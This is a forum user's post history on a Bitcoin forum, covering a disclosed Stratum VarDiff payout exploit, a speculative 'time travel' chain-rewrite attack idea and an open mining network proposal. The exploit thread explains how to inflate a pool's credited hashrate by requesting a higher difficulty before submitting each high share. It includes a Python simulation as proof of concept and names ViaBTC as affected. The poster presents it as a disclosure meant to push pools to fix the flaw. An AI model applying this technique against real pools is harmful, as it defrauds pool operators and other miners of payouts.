Search content
Sort by

Showing 18 of 18 results by failed@99%
Post
Topic
Board Mining software (miners)
Re: Stratum Hashrate exploit I've found [tested and working]
by
failed@99%
on 10/12/2024, 18:29:25 UTC
This way, they will have to fix it.
Post
Topic
Board Mining software (miners)
Re: Stratum Hashrate exploit I've found [tested and working]
by
failed@99%
on 10/12/2024, 02:56:11 UTC
Fella,
forget the miner itself...

The Miner produces shares, right?
Those shares are interpreted on Pool side as valid, and then they account for the Hashrate Pool side.... Right?

My method tells the POOL that the actual hashrate is BIGGER or HIGHER, by 'negotiating' the payment of each share!

Pool registers a Higher Hashrate and thus pays more!

Why dont you use it to your advantage to get rich like abramovich?

let me know via pm if i can partake

Because that is NOT what we stand for as a community!
Post
Topic
Board Mining software (miners)
Re: Stratum Hashrate exploit I've found [tested and working]
by
failed@99%
on 10/12/2024, 02:32:31 UTC
I did say I have a working Proxy...
Post
Topic
Board Mining software (miners)
Re: Stratum Hashrate exploit I've found [tested and working]
by
failed@99%
on 10/12/2024, 01:28:48 UTC
My code IS the Mathematical Explanation on a Miner-Pool kinda example!

The fact here is that the payment for each High and Low share OVERLAP and this is a Logical/Statistic way to gain advantage of the NORMAL payment methods from Pools!

As I Said, it WORKS!

My goal is for the Pools to PROTECT themselves against that!
Post
Topic
Board Mining software (miners)
Re: Stratum Hashrate exploit I've found [tested and working]
by
failed@99%
on 10/12/2024, 01:21:36 UTC
Fella,
forget the miner itself...

The Miner produces shares, right?
Those shares are interpreted on Pool side as valid, and then they account for the Hashrate Pool side.... Right?

My method tells the POOL that the actual hashrate is BIGGER or HIGHER, by 'negotiating' the payment of each share!

Pool registers a Higher Hashrate and thus pays more!
Post
Topic
Board Mining software (miners)
Re: Stratum Hashrate exploit I've found [tested and working]
by
failed@99%
on 09/12/2024, 20:07:02 UTC
The pools are ignoring you and your 'exploit' because you talk about work dif of 32-64. That is the ranges given by using CPU's to mine like the useless NerdMiner toy does....

Pools adjust worker dif to provide ~ 18 shares per minute and with just about any ASIC that means a dif of >1000, hell even my ancient 2PAC stick miner runs with a diff of 780. My larger ASICS have diffs of 21k on up. ASIC-based miners are simply too fast to apply your hack.

Hello,
Well... The 32 and 64 diff I mentioned were just examples...
It works for a min Diff and up... Say 8192 you will find Higher shares, did you bother to test my code?
Post
Topic
Board Mining
Re: Stratum Hashrate exploit I've found [tested and working]
by
failed@99%
on 09/12/2024, 04:10:11 UTC
<PLACEHOLDER>

for future updates on this...
Post
Topic
Board Mining
Topic OP
Stratum Hashrate exploit I've found [tested and working]
by
failed@99%
on 09/12/2024, 03:56:43 UTC
Hello guys,
I don't post here much... but I had to this time because it is important:

Context:
I've contacted a couple pools regarding a flaw in the STRATUM protocol...
(well not really a flaw in the STRATUM but a logic technique that allows an attacker to increase the calculated hashrate at Pool)
Since the pools did NOT act on fixing the problem, I'm just turning on the Fan so everyone can smell it:

Intro:
We all (should) know that the difficulty we get from each share is random, but predictable.
E.g. we hash 1000 hashes in 1 second we get 1 share per second with the corresponding difficulty to be calculated by the pool as 1000H/s ... this is the norm!

Problem:
(now straight to the point!)
I found out that if you have a pool with VarDiff, specially with Miner configurable VarDiff, you are able to get paid MORE by asking the pool to increase the difficulty BEFORE you submit the current share!

Example:
Say the miner is mining at a min Diff of 32, and the pool is paying for 32 Diff shares, but you found a 64+ diff share...
If you ASK the pool to increase the difficulty to 64, and then send the share... you'll get paid for a 64 diff share!
(so far so good?)
Now let's do some Magic:
say you find a 32 diff share again.............. you can ask the pool to LOWER the difficulty back to 32!

Let's now do some MATH:
(i'll skip the WHYs, just do the calculation yourselves)
The number of 64 diff shares will be half the number of 32 diff shares...
say 1x 64 and 2x 32 at a given time interval
If you just mine at a certain difficulty of say 32... you'll send 3 shares as in the above example.... and you'll get paid for 3x 32 diff shares! RIGHT?
BUT, if you ask the pool to change the diff to 64, each time you find a 64 diff share, you'll be payed for 2x 32 Diff share and 1x 64 Diff share!

(now you think: "OK, this guy might be on to something here............")

I've actually made a PoC on this and I have a working Proxy for this strategy!
Here's the Python3 code for the PoC:

Code:
import time
import hashlib
import random

max_diff = 256 # define a max difficulty for the shares (this prevents higher than block difficulty and/or absurd difficulty)
pool_start_diff = 32 # define a starting point for the pool

class PoolSimulator:

    def __init__(self):
        self.miners = {} # new miners are added here
        self.difficulty = pool_start_diff  # Starting difficulty for all miners
        self.time = time.time() # reference time
        self.hashrate = 0 # pool starting hashrate

    def register_miner(self, miner_id):
        self.miners[miner_id] = {
            'difficulty': self.difficulty, # current miner difficulty (used to calculate each update to the hashrate below)
            'submitted_shares': [], # list of Shares already submitted to the pool
            'hashrate': 0 # calculated hashrate for THIS miner
        }

    def set_difficulty(self, miner_id, new_difficulty):
        self.miners[miner_id]['difficulty'] = new_difficulty # set new difficulty by miner
        print(f"Miner {miner_id} difficulty set to {new_difficulty}") # display the new difficulty

    def submit_share(self, miner_id, nonce):
        miner = self.miners[miner_id] # get the current miner
        current_difficulty = miner['difficulty'] # get the current difficulty from that miner
        target = (2 ** 256) // current_difficulty # get the current target from that difficulty
       
        # Validate share
        nonce_str = f"{miner_id}-{nonce}" # prepare data as a STRING to be hashed
        hash_value = int(hashlib.sha256(nonce_str.encode()).hexdigest(), 16) # actually hash the data
        if hash_value < target: # check if the date is valid under the current difficulty
            miner['submitted_shares'].append({'nonce': nonce, 'difficulty': current_difficulty}) # add share to list o valid past shares
            print(f"Valid share from miner {miner_id} at difficulty {current_difficulty}") # print that
            return True # I was thinking of using this , but I skipped it...
        else:
            print(f"Invalid share from miner {miner_id}") # report if invalid
            return False # again... not really needed

    def calc_hashrate(self):
        elapsed_time = time.time() - self.time # total time from the start
        hashrates = 0 # pool total hashrate init at 0 (ended up not really using the full potential of this... figured... i already prove my point wit one miner)
        for miner in self.miners:
            hashrate = 0 # individual miner hashrate init at 0
            for share in self.miners[miner]['submitted_shares']:
                hashrate += share['difficulty'] / elapsed_time # each share has it's dificulty, by dividing by total time, we get the portion of Hashrate that share tells the pool the miner has in total
            self.miners[miner]['hashrate'] = hashrate # after we get the total hashrate from adding all shares (based on their difficulty) we set the miner's current Hashrate
            hashrates += hashrate # pool hashrate is the sum of all individual hashrates, so we add them together
        self.hashrate = hashrates # finaly we set the current pool hashrate... (BASED on calculated hashrate from each miner share... NOT real hashrate)

    def print_hashrate(self):
        print(f"Pool Calculated Hashrate: {self.hashrate}") # this is the pool's total calculated hashrate!

# Miner behavior simulation
class MinerSimulator:
    def __init__(self, miner_id, pool, hashrate):
        self.miner_id = miner_id # set the miner ID
        self.pool = pool # set the pool for this miner
        self.hashrate = hashrate  # Hashes per second

    def mine(self):
        # Simulate mining with constant hashrate (by throtteling with time.sleep(...) )
        nonce = (random.random()*1000000)//1000000 # ugly, I know..... but efective in this PoC: Generate a new nonce

        while True:
            nonce_str = f"{self.miner_id}-{nonce}" # prepare data as a STRING to be hashed
            hash_value = int(hashlib.sha256(nonce_str.encode()).hexdigest(), 16) # actually hash the data

            # Check if share is valid against current pool difficulty
            target = (2 ** 256) // self.pool.miners[self.miner_id]['difficulty']  # get the current target from pool
            pool_diff = (2 ** 256) // target # get pool diff from that target
            share_diff = (2 ** 256) // hash_value # get the current share difficulty
           
            if share_diff > pool_start_diff: # check to see if pool will accept at all...
                if share_diff < max_diff: # check to see if share is under the maximum
                    new_diff = share_diff # if it is, use it's difficult
                else: # if not,
                    new_diff = max_diff # use the max we defined at the start...

                print(f"\nNew SHARE found by miner: {self.miner_id}") # report this share to the console

                pool.set_difficulty(self.miner_id, new_diff) # ask the pool to change the difficulty... (we should WAIT for the response) [if you COMMENT this line of code, the pool should always report the correct hashrate]{THIS IS THE MAGIC LINE}
                pool.submit_share(self.miner_id, nonce) # send the share after the response from previous line
                pool.calc_hashrate() # update the Poolside Hashrate.... (again, NOT the REAL hashrate but the one the pool will think it has)

                print(f"Share Diff: {share_diff}") # report the diff from this found share
                print(f"Real Miner Hashrate: {self.hashrate}") # report the REAL hashrate from this miner (This is the REAL reate this miner should be finding accounted at the pool, but it's NOT)
                print(f"Pool Miner Hashrate: {pool.miners[self.miner_id]['hashrate']}") # report what the pool calculates from this miner!
                pool.print_hashrate() # report total pool hashrate..........i know this could be done in a different, more elegant way... but it works, so I didn't bother

            nonce += 1 # increase the nonce
            time.sleep(1 / self.hashrate) # throttle the miner to the desired hashrate

# RUN
pool = PoolSimulator()
pool.register_miner("Miner0")

miner0 = MinerSimulator("Miner0", pool, hashrate=32) # here you shoose the REAL hashrate from the miner, and then my code does it's magic! Enjoy!
miner0.mine()

# miner1 = MinerSimulator("Miner1", pool, hashrate=32)
# miner1.mine()

This works on Pools like ViaBTC, if you suggest the difficulty via LOGIN method each time you find a Share!
(SO PLEASE FIX THIS VIABTC, like I told you, thank you)

Take Care guys
Post
Topic
Board Development & Technical Discussion
Re: TTAv (Time Travel Attack Vector)
by
failed@99%
on 05/04/2023, 09:35:48 UTC
Please stop pretending you don't see this as a Potential Thread to BTC and the Community we've all built!

If you didn't, why would you even post a Reply...

I lack the time/patience to try to explain this further, sorry...
Post
Topic
Board Development & Technical Discussion
Re: TTAv (Time Travel Attack Vector)
by
failed@99%
on 04/04/2023, 06:19:38 UTC
You are also missing the human element. Ignoring all other safeguards*, if a chain "better" than the current one appeared suddenly, a lot of people would notice, and nobody would believe the new chain to be the correct one. Bitcoin Core would quickly be updated to blacklist the new chain.

* Bitcoin Core currently has several checkpoints for blocks it expects in the current chain. The last checkpoint is from 2022, so if you want to fool the latest Bitcoin Core, you have to start your work from that point.



Yes, this IS the type of answer I was looking for... Thank you....
One would have to actually colide the hash from those Checkpoints!

This saves me a lot of work now... I will think of a way to go against the check points, and that requires me more thoughts on this!
(If even possible...)

Thank You again! @ymgve2
Post
Topic
Board Development & Technical Discussion
Re: TTAv (Time Travel Attack Vector)
by
failed@99%
on 04/04/2023, 06:09:37 UTC
So this is my proposal  Grin :

1 - I'll make a proto-blockchain, that actually uses PoW to validate Blocks of information!
2 - I'll set the Fundamental Rules on the First Block... similar to BTC...
3 - I'll use like 4-5 Cell Phones to mine SHA256 during like 48h on a *FIRST NETWORK*.
4 - I'll use like 4-5 GPUs(A2000) to mine SHA256 on a *SEPARATE NETWORK*, during the last 24h portion of those 48h from the first Network...
5 - I'll just expose those 2 Network to each other.... and see what Happens...
6 - By the en of those 48h, we will have a result!

Potential Results:

Case A - If the Chains Remain Seperate, and we can actually say there's a FORK, to choose One Good and One Bad Apple... OK, I Lost, and made you lose your time here!

Case B - If the Chains Re-arrange into ONE chain, and It's the OLD Chain... OK, I Lost, and made you lose your time here! (but we still have kinda of a problem here...)

Case C - If the Chains Re-arrange into ONE chain, and It's the NEW Chain... I WOULD BE RIGHT!!! And you guys would have to listten to me further on this!

Deal?
Post
Topic
Board Development & Technical Discussion
Re: TTAv (Time Travel Attack Vector)
by
failed@99%
on 04/04/2023, 05:18:33 UTC
In Bitcoin nodes follow the chain with the most amount of work. That is not necessarily the "longest" chain. You can use a single ASIC to mine the longest chain probably in less than an hour (by manipulating the timestamps, etc.) at difficulty 1 from the genesis block but it won't have the "most amount of work" hence it will not be followed.
If you want to "re-write" history, you need to have most hashrate to perform the most work (14+ years worth of work) which is obviously impossible.

14+ years "worth" of work....?

oh......... can't you see what I meant?

If you take TODAY's hardware and put them to work BACK....
from start.....
and ADD all that new work


buddy....
witch chain would have more work in terms of Difficulty ?


PS - guys, I can't answer that fast.... the site Is slowing me dow because of this new account...


____________



Have you seen the parallel computing power of a quantum computer now? and the evolution of that area of expertise?
Have you seen what 'KIDS' are able to do now with LLMs lile ChatGPT ? do you see a pattern here? and where I am going...
Yes I see you are using buzzwords. A quantum computer is not going to magically be able to come up with enough hashrate to attack bitcoin, you still have to be able to compute 1019 hashes per second to come close which is not yet possible.
And AI is not even applicable here, even with most advanced alien technology level AI you still need computing power to compute hashes!


Ok, let's keep it terrestrial here... LOL
I will try to 'magically' come up with a PoC on this...


______________


Have you seen what 'KIDS' are able to do now with LLMs lile ChatGPT ?
Such as? I'd like to see the technological advancements achieved through using a stupid apologetic AI talking model!


It is not STUPID...
It uses a Language Model I helped to Train....
It is as good as the person using it,
and even better If that person actually learns something new!

But are here to talk Bitcoin ! not AI...
So I'll 'try' to make something that proves this...
Or I'll throw the towel!
Post
Topic
Board Development & Technical Discussion
Re: TTAv (Time Travel Attack Vector)
by
failed@99%
on 04/04/2023, 05:07:11 UTC
If you guys want...

I would be happy to try something like a proof of concept... on a private Testnet or something.......

will take me some time, and I'd have to reactivate my old OpenAI account, but I want to try this..........

 Roll Eyes
Post
Topic
Board Development & Technical Discussion
Re: TTAv (Time Travel Attack Vector)
by
failed@99%
on 04/04/2023, 04:56:58 UTC
Quote
I'm also assuming we coud "fake" some information along the way, and still come up with valid Blocks... like:

- Timestamps
- Transactions >> blocksize
- etc...
This assumption is wrong, because you cannot insert blocks in the middle, and reuse other blocks. If you change anything in a block, then all blocks that were created later, are invalid, and you have to change them as well. So, for example, if you mine block 123, then you also need to mine block number 124, 125, and so on, up to the latest block (at the moment of writing, 783849). So, if you want to change anything in block 123, then you need to overwrite the whole chain, from that block, to the latest block, re-mining block 123 alone will be rejected, because each block has a field called "previous block hash", so you have to change the whole chain after that block.

I AM talking about a FULL re-write from Genesis.... not Insertion.... this is a whole new Unicorn Here
Post
Topic
Board Development & Technical Discussion
Re: TTAv (Time Travel Attack Vector)
by
failed@99%
on 04/04/2023, 04:46:21 UTC
Hello pooya87,
thank you for answering too...

This is a more practical and pragmatic answer, so yes!

Here I'll have to bring something new to this:

Have you seen the parallel computing power of a quantum computer now? and the evolution of that area of expertise?
Have you seen what 'KIDS' are able to do now with LLMs lile ChatGPT ? do you see a pattern here? and where I am going...

Yes, we could actually Re-Write the Blockchain in the RIGHT WAY, with a couple more digits on the block hash, just to be sure... and Still do more Work per block anyways...... in Less Time then what we-ve done already....
Post
Topic
Board Development & Technical Discussion
Re: TTAv (Time Travel Attack Vector)
by
failed@99%
on 04/04/2023, 04:30:10 UTC
Hello @digaran,
thank you for your bitter answer!  Grin

Well,
the thing here is:

Consensus follows RULES, it's not like Trolling!
If this 'new/old' chain, follows the RULES that are already in place... That would need for us to CHANGE the rules.... not the CHAINs!

My point is exactly that!

Are WE prepared to change the RULES in order to stay in the game?
(that is why i reffered tho my OGame past... they've evolved over time....)

(I seriously don't want something like the 'Classic' wars you mentioned...)
Post
Topic
Board Development & Technical Discussion
Topic OP
TTAv (Time Travel Attack Vector)
by
failed@99%
on 03/04/2023, 22:13:45 UTC
TTAv
(Time Travel Attack Vector)

I'll try not to take much of your time with this Idea:

Inspiration:
I Play an Old game, called OGame (ironically), for 20 years now,
and I developed and attack there called TTA...

Introduction:
BTC and Blockchain are two interesting concepts...
But I think BTC is in fact a trap...
And Blockchain is the main player here!

So:
Let's say, we've been mining BTC for what? 15 years... and now we have (A LOT) more performance then when we started...
What's stopping us NOW, from re-riting the Blockchain from the genesis block, with 'new' valid blocks?
and come up with a longer valid chain?

Let me Explain:
Say you have COIN1, that has been capped on performance untill now...
But NOW you can go BACK, and re-mine those first blocks at a lower 'performance cost', and still make them valid!
You could create a longer, valid, accepted chain than the one we have now...

I'm assuming all software clients have a preference for the longest valid chain from the Genesis...
I'm also assuming we coud "fake" some information along the way, and still come up with valid Blocks... like:

- Timestamps
- Transactions >> blocksize
- etc...

So my question is:

Is this too far fetched?  Huh
Or do you see this as a problem too?

Take Care,
Yasuke Nakamoto
Post
Topic
Board Mining
Topic OP
Open Mining Network (OMN)
by
failed@99%
on 03/04/2023, 03:57:48 UTC
Pre-Information
This is an initial ‘Idea’, on an Open Mining Network…
Not creating a Cryptocurrency, nor Token… Suggesting the creation of a ‘way to mine better’ any Cryptocurrency… by Spotting and Solving some of the problems we now have when Mining.
Intro
Ahh ‘the’ Mining…
Mining as a concept is Beautiful!
Such an elegant solution to a specific set of problems (how to share, agree, validate and be rewarded on transactions on a specific crypto-economic system).
As you know, it “WORKS”!
But, as you also should know… this ‘solution’ has some ‘internal problems’…. like:
01 — Pool Centralization
02 — Initial Investment Centralization
03 — Hardware Complexity (not newbie Friendly)
04 — Software Complexity (not newbie Friendly)
05 — High Costs/Expenses (Electricity, etc…)
06 — Ecological Footprint (Not as bad as Advertised, but still could be better!)
- etc…
This ‘problems’ make it so that Mining is just for people with a certain set of pre-acquired skills to dominate…
This world IS fair! (being hard to EVERYONE in some way! this sounds fair to me!)
But Mining should be about Decentralization and about EVERYONE having a ‘say’ and a ‘do’ in it!
WE, as a community, should take action and make it so that EVERYONE could be a part of it…
(I Know that’s NOT how it’s set up to work right now… that’s exactly WHY, I’m suggesting this project)
Pool Centralization
Most Crypto Networks work in a way that:
- each Block Reward goes to one(or few) Address(es), per unit of time (block time)
- realistically, the number of blocks HAS TO BE low… compared to the number of Addresses
- today, there’s no way to ‘realistically’ decentralize mining, because the blockchains in general does not allow for ‘distribution’ over all miners… so ‘one’ will win each entire block, and THEN the others will have their part — aka POOLS!
This system ‘works’…. but If you have a system where you want Decentralization… but in reality decisions have to go through a handful of peers BEFORE they are shared and then accepted/rejected, you have a layer where “SHIT MIGHT HAPPEN”
What we are seeing is that Miners WORK, but Pools DECIDE…
This reminds me of Citizens Working, and Politicians Deciding… it WORKS… but still, that’s NOT how we wanted it to work!
Initial Investment Centralization
So, If you want to Mine… you have to calculate/solve something… right?
You could do it by hand… but it’s NOT³² efficient!
So you need better ways to compute those solutions…
What we have done so far is to use CPUs/GPUs/etc… to do so…
Problem here is that, you HAVE to Buy them!
So you start form the ‘Traditional’ system… and want to Mine in this ‘New System’, but there’s a couple of Problems:
- For you to mine you have so SPEND ‘old money’ in Hardware, to make ‘new money’
- Those who have a lot of ‘old money’ will have more hardware, and make more ‘new money’
- You will STILL and up in a ‘NEW SYSTEM’ resembling the ‘OLD SYSTEM’!
Basically, you still have a “CENTRALIZED ON INITIAL INVESTMENT” system, on this ‘new system’!
Hardware Complexity
Now, you have some Hardware…. you bought for ‘half price’…
And you want to assemble a mining machine…
cool… if you already know how to do it…
but if you don’t… you will end up spending more time/money doing so!
Sure there are ASICs that are sort of ‘plug&play’… but there are not ‘general purpose mining machines’ out there… so you, most likely, will have to assemble a full COMPUTER… to do so.
This is not ‘HARD’, but I’ll bet more than half the world population could not do, if asked ‘right now’!
Access to Technology is a MUST for mining…
Knowledge in using that Technology is also a MUST…
So to reach more people, Mining Hardware should be more ‘user friendly’
Software Complexity
Well,
so now you have the Hardware fully assembled…… what now?
(If you are an experienced miner, you might say “LOTS OF OPTIONS!!!”)
Yeah….. THAT’s BAD!
See, one thing is to like mining and know already what is going on…. another is to start now, there are lots of options….. not gonna help having tons of options if you are a newbie!
(remember, we want something like ‘mining for all’, not ‘mining for miners only’)
Even if you are an Experienced Miner… and use services like HiveOS, there’s a LOT of everyday tasks that could be done better if only the Software part was LESS complex…
So for us to get something more ‘user friendly’ on the daily basis, we need to ‘complicate’ first… and make something everyone can use!
High Costs/Expenses
When you have everything Up and Running… it’s cool…
But are you doing it the right way??
Is it efficient? Does it cost LESS then it is RETURNING?
NOW is kinda too late… you already in, and spent Time, Money, effort, and maybe a little bit of blood… with this…
We should have a way to maximize returns and minimize costs… being fixed or temporary, direct or indirect, from mining!
Ecological Footprint
When you care about this ‘new system’, and you are constantly bombarded that it is ‘heavy on the environment’, you really start to think about it…….. I mean, IS IT?
Even if it is (and IT IS) less then the ‘traditional system’, how can we make it that we put in more than we are taking from the environment… how can we improve on what is out there?
This point is like an open discussion, we will get back to this…
Intentions
Talking about intentions is like looking inside yourself and wondering: “ok, I want this to work this way, but I know it wont work EXACTLY the way I want it to…”

so: “I want this to work!”

want == will work for it!
this == what we are, from now on, building (a way to get more people mining, and mining better)
work == improve on what we have… by SOLVING problems, not creating SHITCOINs, not MAKING MORE MONEY… but actually making things work better!

For that I suggest we discuss on ways to:

11 — Decentralize Mining
12 — Make it so, that you DON’T control by “buying everything”
13 — Develop Mining Specific Hardware
14 — Simplify the Configuration and Utilization
15 — Automatically adjust for better Usage of Hardware and Software
16 — Think of ways to ‘give more’ than what we are ‘taking’, in some way…

Thank you for reading,
please leave your thoughts on this…


This Article on Medium: https://medium.com/@cryptos.josevora/open-mining-network-omn-655e19d464fa



signed:

Yasuke Nakamoto